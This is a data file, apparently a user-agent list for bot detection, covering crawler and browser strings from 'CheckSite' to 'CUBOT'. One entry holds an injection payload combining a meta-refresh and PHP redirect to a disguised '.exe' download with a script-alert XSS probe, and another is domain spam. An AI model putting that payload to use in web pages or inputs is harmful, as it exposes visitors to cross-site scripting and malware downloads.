CheckSite Verification Agent (+http://www.checksite.us)
CitiStreet.com/1.0+(compatible;Mozilla/5.0;MSIE 7.0;++http://citistreet.com/)
Cliqz Bot (+http://www.cliqz.com)
Comodo-Webinspector-Crawler 2.2.2 http://www.comodorobot.com
COMODOSpider/Nutch-1.2
Comos/0.9_(robot@xyleme.com)
ConveraMultiMediaCrawler/0.1 (+http://www.authoritativeweb.com/crawl)
CorenSearchBot/1.7 en libwww-perl/6.05
Crisp-LinkPreview 1.0 (+https://crisp.chat)
Digincore crawler bot. See https://www.digincore.com/crawler.html for rules and instructions
DigitalPebble Crawler/1.4-SNAPSHOT (StormCrawler Benchmark; http://digitalpebble.com/; crawler@digitalpebble.com)
DigitalPebble Crawler/1.8 (StormCrawler Benchmark; http://digitalpebble.com/; crawler@digitalpebble.com)
DirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)
Discord bot
DoCoMo/2.0 P900i(c100;TB;W24H11) (compatible; ichiro/mobile goo; +http://help.goo.ne.jp/help/article/1142/)
dodgebot/experimental
Domain Re-Animator Bot (http://domainreanimator.com)
DomainCrawler/2.0 (info@domaincrawler.com; http://www.domaincrawler.com/bot
DomainStatsBot/1.0 (https://domainstats.com/pages/our-bot)
E. Orliac, G. Fourestey/1.14 (A Patent Crawler; http://scitas.epfl.ch/; etienne.orliac@unil.ch, gilles.fourestey@epfl.ch)
Experibot-v2 http://goo.gl/ZAr8wX
Experibot-v3 http://goo.gl/ZAr8wX
Experibot-v3 https://goo.gl/ZAr8wX
Experibot_v1
factbot : http://www.factbites.com/robots
FAST-WebCrawler/3.4/Nirvana (crawler@fast.no; http://fast.no/support.phpcfaqs/crawler)
feedbot contact:keifwong@protonmail.com
feedfinder/1.371 Python-urllib/1.17 +http://www.aaronsw.com/2002/feedfinder
FeedlyApp/1.0 (http://www.feedly.com)
Feliz
Fetchbot (https://github.com/PuerkitoBio/fetchbot)
Filestubebot/1.0 (+http://www.filestube.com)
findlinks/2.6 (+http://wortschatz.uni-leipzig.de/findlinks/)
FireBot
From @80.cm (loadingbot; @80.cm; +http://www.80.cm/)
Froute Mobile Gateway/1.0 (http://labs.froute.jp/pc2m/help.html)
fsbot
fuelbot
GCI/1.0 (http://www.generalcybernetics.net/)
GetProxi.es-bot/1.1 (http://getproxi.es/spiderinfo/)
GG PeekBot 2.0 ( http://gg.pl/ http://info.gadu-gadu.pl/praca )
Gigabot
Gigabot/1.0
gonzo2P +http://www.suchen.de/faq.html
got/8.3.1 (https://github.com/sindresorhus/got)
grub crawler(http://www.grub.org)
gschaid bot/1.0 (+http://www.gschaid.de/bot.html)
GumGum-Bot/1.0 (http://gumgum.com; verity-support@gumgum.com)
hivaBot(http://gorgor.ir and info@gorgor.ir)/hivaBot-0.2 (info@gorgor.ir)
hivaBot/hivaBot-1.0 (http://gorgor.ir; info@gorgor.ir)
http://anype.com
http://bit.ly/16nmECv
http://reviews.gcoupon.com/info/whois/eyeshade.info
http://reviews.gcoupon.com/info/whois/www.youku0.com
http://search.libero.it/bin/searchp
http://whatsmyuseragent.com/CommonUserAgents.asp It has the advantage of being compact and reasonably easy to extend (just add entries to the $known array defined at the top). It should be fairly performant as well since it doesn't do any iteratoin or rec
http://whois.gcoupon.com/eyeshade.info
http://whois.gcoupon.com/www.kswsbj.info
http://whois.gcoupon.com/www.suzhoucanyin.com
http://whois.gcoupon.com/www.youku0.com
http://www.instabid.tech/ibbot/index.html?d=whatmyip.co
http://www.zimbardo.com/w/wp-content/uploads/2014/02/MG03812.jpg ;)
HTTPRequest2/2.1.1 (http://pear.php.net/package/httprequest2) PHP/5.3.28
HTTPRequest2/2.2.1 (http://pear.php.net/package/httprequest2) PHP/5.3.29
https://adclick.g.doubleclick.net/aclk?sa=l&ai=CWhPtUQY-XOntEd6P1ga6m52YDPj6qvlU2Y3X4_oH5tCGyJMMEAEg0pGzT2C73q-D0AqgAayI38YDyAEJqQJAx4TdEpS1PqgDAcgDigSqBIUCT9CfLPWZC_bCXmV2wE9Q8x_gGhvLgA_mFE21QzToUyG6F-Fm1KicxjV6ZWlaOpO8rtCqUOi2YfzIW72W1lksBo1P0XzZICFP7a2
https://developers.whatismybrowser.com/useragents/parse/25746435-chrome-windows-blink
https://iphoneactivity.com/find Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1
https://youtu.be/yApgyj4pDUw
HubPages V0.2.2 (https://hubpages.com/help/crawlingpolicy)
IABot: Checking if link from Wikipedia is broken and needs removal
IAS crawler (page scorer; http://integralads.com/site-indexing-policy/)
ias-jp/3.1 (+https://www.admantx.com/service-fetcher.html)
ICC-Crawler/2.0 (Mozilla-compatible; ; http://kc.nict.go.jp/project1/crawl.html)
ICC-Crawler/2.0 (Mozilla-compatible; ; http://www.nict.go.jp/en/univ-com/plan/crawl.html)
Iframely/0.8.6 (+http://iframely.com/;)
Iframely/1.2.2 (+http://iframely.com/;)
Iframely/1.2.6 (+https://iframely.com/;)
IgnitionOneBot/Nutch-1.9
ImplisenseBot 1.0
IndustryIndexBot/1.0 (+http://industryindex.com/bot/)
InfoWizards Reciprocal Link System PRO
inoGate::Spider/1.1
Interdose AntiSpamBot/2.0 (+http://www.piep.net)
Internet-structure-research-project-bot
IRLbot/2.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler)
Jugendschutzprogramm-Crawler; Info: http://www.jugendschutzprogramm.de
Kemvibot/1.0 (http://kemvi.com)
KOCMOHABT (+https://kozmonavt.tk/) Mozilla/5.0 (compatible; Web Explorer 2)
LinqiaScrapeBot/1.0 (eng@linqia.com)
Linux / Firefox 44: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 MaeWestBot
Livechat OpenGraph Robot
Lynx/2.8 (;http://seebot.org)
Lynx; Nintendo; PinBot
madaali.de (Version: 1.06 powered by www.madaali.de +http://www.madaali.de/pfadzurbotseite/bot.html)
mbot v.1.16
MdotLabsCrawler/1.0 (http://www.mdotlabs.com)
Mechanize/2.7.1 Ruby/2.0.0p353 (http://github.com/sparklemotion/mechanize/)
Mechanize/2.7.5 Ruby/2.3.7p456 (http://github.com/sparklemotion/mechanize/)
meggabot
Mercury
meta HTTP-EQUIV"REFRESH" content"0; url" php header( 'Location: http://xamateurpornlic.www1.biz/latest/xxx-porn-movie.avi.exe' ) ; scriptalert('Hello World!.')/script tdinput name"name" type"text" size"90000000000000000000"/td
Mozilla/3.0 (compatible; ScollSpider; http://www.webwobot.com)
Mozilla/4.0 (CMS Crawler: http://www.cmscrawler.com)
Mozilla/4.0 (compatible; FDSE robot)
Mozilla/4.0 (compatible; GPU p2p crawler http://gpu.sourceforge.net/searchengine.php)
Mozilla/4.0 (compatible; grub-client-0.3.x; Crawl your own stuff with http://grub.org)
Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; mowser; http://mowser.com)
Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; http://www.Abolimba.de)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; knst; knst2007; Editor 3.0
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; RadioClicker http://radioclicker.com; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; WebMoney Advisor; RadioClicker http://radioclicker.com; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.6; MRIE8PACK 2.0.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WebMoney Advisor; MRSPUTNIK 2 1 0 4 HW; MRA 5.5 (build 02842); RadioClicker http://radioclicker.com; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; RADIOCLICKER LITE; I
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; RadioClicker LITE; RadioClicker http://radioclicker.com; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0; RADIOCLICKER LITE)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; staticlogin:productcboxf09&actlogin&infoZmlsZW5hbWU9UG93ZXJ3b3JkMjAwOU94Zi4yNTI2OS40MDExLmV4ZSZtYWM9N0RDMTUwREU5MUEyNERBOTlBODYxREY3NjQ0Nzc1NDYmcGFzc3BvcnQ9JnZlcnN
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MRSPUTNIK 2 0 1 89 SW; MRA 5.4 (build 02614); RadioClicker http://radioclicker.com; .NET CLR 2.0.50727)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MRSPUTNIK 2 3 0 104; MRA 5.6 (build 03402); RadioClicker http://radioclicker.com; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MRIE8PACK 2.0.1)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MRSPUTNIK 2 3 0 104; MRA 5.6 (build 03402); RadioClicker LITE; RadioClicker http://radioclicker.com; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; RadioClicker http://radioclicker.com; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; RadioClicker http://radioclicker.com; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; RADIOCLICKER LITE)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; WebMoney Advisor; RadioClicker http://radioclicker.com; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; InfoPath.3)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; WebMoney Advisor; RadioClicker http://radioclicker.com; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; RADIOCLICKER LITE; AskTB5.4)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WebMoney Advisor; MRSPUTNIK 2 1 0 4 HW; MRA 5.5 (build 02842); RadioClicker http://radioclicker.com; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; RADIOCLICKER LITE; I
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; RadioClicker http://radioclicker.com; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; AskTbCLM/5.8.0.12304)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Editor 3.0
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; MRSPUTNIK 2 0 1 57 SW; RadioClicker http://radioclicker.com; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; AskTB5.3; M
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; RadioClicker http://radioclicker.com; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; CPNTDF)
Mozilla/4.0 (compatible; Vagabondo/4.0/EU; http://www.wise-guys.nl/)
Mozilla/4.0 (compatible; Vagabondo/4.0; http://webagent.wise-guys.nl/)
Mozilla/4.0 compatible ZyBorg/1.0 (ZyBorg@WISEnutbot.com; http://www.WISEnutbot.com)
Mozilla/4.0+(compatible;+Robot/1.1t)
Mozilla/4.0+(compatible;+Robot/1.2 CL)
Mozilla/4.72 en (BACS http://www.ba.be)
Mozilla/5.0 (Android 4.2; rv:19.0) Gecko/20121129 Firefox/19.0I Greetings I Us sU.DULKARNEEN666GROUP.Us sU I Greetings I https://dulkarneen666group.us.su?hl=Us sU I http://dulkarneen666group.us.su?hl=Us sU I ftp://dulkarneen666group.us.su?hl=Us sU I htt
Mozilla/5.0 (compatible; ACHE/0.6; +https://github.com/ViDA-NYU/ache; )
Mozilla/5.0 (compatible; AhrefsBot.FreshPages/0.1; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; AhrefsBot/6.1; SA; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) [ip:168.119.65.61]
Mozilla/5.0 (compatible; alexa site audit/1.0; +http://www.alexa.com/help/webmasters; siteaudit@alexa.com)
Mozilla/5.0 (compatible; Alexabot/1.0; +http://www.alexa.com/help/certifyscan; certifyscan@alexa.com)
Mozilla/5.0 (compatible; AlphaBot/3.2; +http://alphaseobot.com/bot.html)
Mozilla/5.0 (compatible; AOLbot/4.0; +http://www.aol-soft.com/)
Mozilla/5.0 (compatible; AportWorm/3.2; +http://www.aport.ru/help)
Mozilla/5.0 (compatible; archive-co.com/1.1; +http://archive-co.com/bot)
Mozilla/5.0 (compatible; archive.orgbot +http://archive.org/details/archive.orgbot)
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/5c00f39 warc/v0.8.52
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/74ac320 warc/v0.8.60
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/78c9471 warc/v0.8.33
Mozilla/5.0 (compatible; awcheckBot; +http://awcheck.com/en/about)
Mozilla/5.0 (compatible; BacklinksbuildingBot/1.0; +https://BackLinksBuilding.top/bots) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0Mozilla/5.0
Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com
Mozilla/5.0 (compatible; bnf.frbot; +http://www.bnf.fr/fr/outils/a.dlwebcapturerobot.html)
Mozilla/5.0 (compatible; bnf.fr_bot; +http://www.bnf.fr/fr/outils/a.dl_web_capture_robot.html)
Mozilla/5.0 (compatible; bnf.fr_bot; +https://www.bnf.fr/fr/capture-de-votre-site-web-par-le-robot-de-la-bnf)
Mozilla/5.0 (compatible; BotPants/1.0; Linux; +info@copypants.com) KHTML/3.5.5 (like Gecko)
Mozilla/5.0 (compatible; Cliqusbot/0.1)
Mozilla/5.0 (compatible; discobot/1.0; +http://discoveryengine.com/discobot.html)
Mozilla/5.0 (compatible; DocSpotBot/1.0; +http://docspot.com/bot.html)
Mozilla/5.0 (compatible; domain/1.0; +http://onion.gold
Mozilla/5.0 (compatible; DomainSigmaCrawler/0.1; +http://domainsigma.com/robot)
Mozilla/5.0 (compatible; Exabot/3.0; http://www.exabot.com/go/robot)
Mozilla/5.0 (compatible; FatBot 2.0; http://www.thefind.com/main/CrawlerFAQs.fhtml)
Mozilla/5.0 (compatible; Gluten Free Crawler/1.0; +http://glutenfreepleasure.com/)
Mozilla/5.0 (compatible; heritrix/1.0.4 http://innovationblog.com)
Mozilla/5.0 (compatible; heritrix/1.12.1 +http://www.bne.es/es/LaBNE/ArchivoWeb/AvisoWebmasters/index.html)
Mozilla/5.0 (compatible; heritrix/1.14.1 +http://www.natlib.govt.nz/publishers-and-authors/web-harvesting)
Mozilla/5.0 (compatible; heritrix/1.5.0 http://www.l3s.de/kohlschuetter/projects/crawling/)
Mozilla/5.0 (compatible; heritrix/3.2.0 +http://aiguy24@gmail.com)
Mozilla/5.0 (compatible; heritrix/3.2.0 +http://www.tempest.sk)
Mozilla/5.0 (compatible; heritrix/3.3.0-SNAPSHOT-20140628-0002 +http://archive.org/details/archive.orgbot)
Mozilla/5.0 (compatible; http://www.UptimeAuditor.com/bot/ )
Mozilla/5.0 (compatible; humancurl.async; 0.1.1; +http://h.wrttn.me/humancurl)
Mozilla/5.0 (compatible; IDBot/1.1; +http://www.id-search.xyz/bot.html)
Mozilla/5.0 (compatible; Infohelfer/1.4.3; +http://www.infohelfer.de/crawler.php)
Mozilla/5.0 (compatible; Konturbot/1.1; +http://kontur.ru; cargo@kontur.ru)
Mozilla/5.0 (compatible; LinkChecker/9.3; +http://wummel.github.io/linkchecker/)
Mozilla/5.0 (compatible; LinkpadBot/1.07; +http://www.linkpad.ru)
Mozilla/5.0 (compatible; LinkpadBot/2.4; +https://linkpad.org/robot/)
Mozilla/5.0 (compatible; LinkStash Bookmark Manager; http://www.xrayz.co.uk/)
Mozilla/5.0 (compatible; Linux; AGAKIDSBOT/3.1 +agakids.ru/project) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Mozilla/5.0 (compatible; ltbot/1.3; bot@language-tools.com)
Mozilla/5.0 (compatible; LumtelBot/1.0; +http://lumtel.com)
Mozilla/5.0 (compatible; Lunafagbot/0.1; +http://www.lunafag.ru/)
Mozilla/5.0 (compatible; meg/0.2; +https://github.com/tomnomnom/meg)
Mozilla/5.0 (compatible; memoryBot/1.20.235 +http://internetmemory.org/en/)
Mozilla/5.0 (compatible; memoryBot/1.24.38 +http://www.internetmemory.net/bot.html)
Mozilla/5.0 (compatible; memoryBot/1.24.61 +http://internetmemory.org/en/)
Mozilla/5.0 (compatible; metager2-verification-bot; +http://metager2.de/technology.php)
Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; MJ12bot/v1.2.5; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; MJ12bot/v1.3.1; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; MJ12bot/v1.3.2; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; MJ12bot/v1.4.1; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; MJ12bot/v1.4.6; http://mj12bot.com/)
Mozilla/5.0 (compatible; mobilizer; +http://www.mobilizer.com)
Mozilla/5.0 (compatible; mozilla/1.0; +http://agentstring.mozilla.com/)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; Banca Caboto s.p.a.)
Mozilla/5.0 (compatible; NerdByNature.Bot; http://www.nerdbynature.net/bot)
Mozilla/5.0 (compatible; nsrbot/1.0; +http://netsystemsresearch.com)
Mozilla/5.0 (compatible; OnetSzukaj/5.0; http://szukaj.onet.pl)
Mozilla/5.0 (compatible; Online Domain Tools
Mozilla/5.0 (compatible; PAD-bot/9.0; +http://www.descargarprogramagratis.com/)
Mozilla/5.0 (compatible; Page2RSS/0.7; +http://page2rss.com/)
Mozilla/5.0 (compatible; Paracrawl; +http://statmt.org/paracrawl/robots.html)
Mozilla/5.0 (compatible; parsijoo-search-engine +http://www.parsijoo.ir/)
Mozilla/5.0 (compatible; PathDefender/1.0; +http://www.pathdefender.com/help/crawler)
Mozilla/5.0 (compatible; PEAR HTTPRequest class; http://www.rcdtokyo.com/pc2m/)
Mozilla/5.0 (compatible; PEAR HTTP_Request class; http://www.rcdtokyo.com/pc2m/)
Mozilla/5.0 (compatible; PhoneFavs; +http://phonefavs.com)
Mozilla/5.0 (compatible; Phonifier; +http://www.phonifier.com)
Mozilla/5.0 (compatible; PHPDevelBot/1.0)
Mozilla/5.0 (compatible; Please Name Your robot; +http://192.168.1.36//bot.php)
Mozilla/5.0 (compatible; Plukkie/1.7; http://www.botje.com/plukkie.htm)
Mozilla/5.0 (compatible; RukiCrawler/1.0; +http://ruki.rezko.net)
Mozilla/5.0 (compatible; Scopia Crawler 1.1; +http://www.scopia.co)
Mozilla/5.0 (compatible; ScribdReader/1.0; +http://www.float.com)
Mozilla/5.0 (compatible; Semanticbot/1.0; +http://sempi.tech/bot.html)
Mozilla/5.0 (compatible; SEOkicks-Robot; +https://www.seokicks.de/robot.html)
Mozilla/5.0 (compatible; seoscanners.net/1; +spider@seoscanners.net)
Mozilla/5.0 (compatible; SiteGuruCrawler/1.0; +https://www.siteguru.co/crawler)
Mozilla/5.0 (compatible; Siteliner/1.0; +http://www.siteliner.com/bot)
Mozilla/5.0 (compatible; SMTBot/1.0; http://www.similartech.com/smtbot)
Mozilla/5.0 (compatible; Somegabot/1.0; +http://somega.net/)
Mozilla/5.0 (compatible; spbot/2.0.1; +http://www.seoprofiler.com/bot/ )
Mozilla/5.0 (compatible; spbot/2.0.3; +http://www.seoprofiler.com/bot/ )
Mozilla/5.0 (compatible; spbot/4.0.7; +https://www.seoprofiler.com/bot )
Mozilla/5.0 (compatible; spbot/4.0b; +http://www.seoprofiler.com/bot )
Mozilla/5.0 (compatible; specialarchiver/3.3.0 +http://www.loc.gov/webarchiving/noticetowebmasters.html)
Mozilla/5.0 (compatible; special_archiver/3.3.0 +http://www.loc.gov/webarchiving/notice_to_webmasters.html)
Mozilla/5.0 (compatible; special_archiver/3.3.0; +http://www.loc.gov/webarchiving/notice_to_webmasters.html)
Mozilla/5.0 (compatible; special_archiver/3.3.0; +https://www.loc.gov/programs/web-archiving/for-site-owners/)
Mozilla/5.0 (compatible; special_archiver; Archive-It; +http://archive-it.org/files/site-owners-special.html)
Mozilla/5.0 (compatible; SputnikFaviconBot/1.2; +http://corp.sputnik.ru/webmaster)
Mozilla/5.0 (compatible; Statsbot/2.1;)
Mozilla/5.0 (Compatible; Supybot 0.83.4.1)
Mozilla/5.0 (compatible; SWEBot/1.0; +http://swebot-crawler.net)
Mozilla/5.0 (compatible; Sysomos/1.0; +http://www.sysomos.com/; Sysomos)
Mozilla/5.0 (compatible; Taboolabot/3.7; +http://www.taboola.com)
Mozilla/5.0 (compatible; techleadzbot/1.1; +http://techleadz.io)
Mozilla/5.0 (compatible; TrueBot/1.0)
Mozilla/5.0 (compatible; TTD-Content; +https://www.thetradedesk.com/general/ttd-content)
Mozilla/5.0 (compatible; WangIDSpider/1.0; +http://www.wangid.com/spider.html)
Mozilla/5.0 (compatible; WASALive-Bot ; http://blog.wasalive.com/wasalive-bots/)
Mozilla/5.0 (compatible; waybackarchive.org/1.0; +spider@waybackarchive.org)
Mozilla/5.0 (compatible; WbSrch/1.1 +http://wbsrch.com)
Mozilla/5.0 (compatible; WebCookies/1.1; +https://webcookies.org/doc/webcookies-robot)
Mozilla/5.0 (compatible; WebThumbnail/2.2; Website Thumbnail Generator; +http://webthumbnail.org)
Mozilla/5.0 (compatible; WGToolsBot/1.0; http://wgtools.com/link-checker-bot/)
Mozilla/5.0 (compatible; worio bot heritrix/1.10.0 +http://worio.com)
Mozilla/5.0 (compatible; X-CAD-SE/1.5; +http://info.cadse.easterngraphics.com/wa_contact/) Java/1.8.0_60
Mozilla/5.0 (compatible; XML Sitemaps Generator; http://www.xml-sitemaps.com) Gecko XML-Sitemaps/1.0
Mozilla/5.0 (compatible; XTbot/1.0v; +http://www.externaltest.com)
Mozilla/5.0 (compatible; YaDirectFetcher/1.0; Dyatel; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexCalendar/1.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexMetrika/2.0; +http://yandex.com/bots
Mozilla/5.0 (compatible; zitebot support at zite dot com +http://zite.com)
Mozilla/5.0 (compatible; ZoofBot/1.03; +http://zoof.to/zoofbot)
Mozilla/5.0 (EzadNet OS sys-256bit; +http://www.ezadnet.my/news/3-bot.html; NetCrawler 1.0; msMY) Firefox 24.0
Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.8904.1553 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 4.2.1; CUBOT GT99 Build/JOP40D) AppleWebKit/537.36 (KHTML like Gecko) Chrome/35.0.1916.141 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.2.1; CUBOT GT99 Build/JOP40D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.2.1; CUBOT ONE Build/JOP40D) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.131 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.2.2; CUBOT P9 Build/JDQ39) AppleWebKit/537.36 (KHTML like Gecko) Chrome/42.0.2311.111 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.2.2; CUBOT X6 Build/JDQ39) AppleWebKit/537.36 (KHTML like Gecko) Chrome/37.0.2062.117 Mobile Safari/537.36 OPR/24.0.1565.82529
Mozilla/5.0 (Linux; Android 4.2.2; GLX Spider Build/JDQ39) AppleWebKit/537.36 (KHTML like Gecko) Chrome/32.0.1700.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.2.2; GLX SpiderI Build/JDQ39) AppleWebKit/537.36 (KHTML like Gecko) Chrome/39.0.2171.59 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.4.2; GLX Spider1S Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.81 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.4.2; GLX SpiderI Build/KOT49H) AppleWebKit/537.36 (KHTML like Gecko) Chrome/37.0.2062.117 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.4.2; GLX SpiderI Build/KOT49H) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.4.2; GLX SpiderI Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36 OPR/42.7.2246.114996
Mozilla/5.0 (Linux; Android 4.4.4; Spider Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.105088
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; B BOT 50 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Mobile Safari/537.36 OPR/47.3.2249.130976
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.64 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/55.0.2883.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.98 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT MAX Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT MAX Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_MANITO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
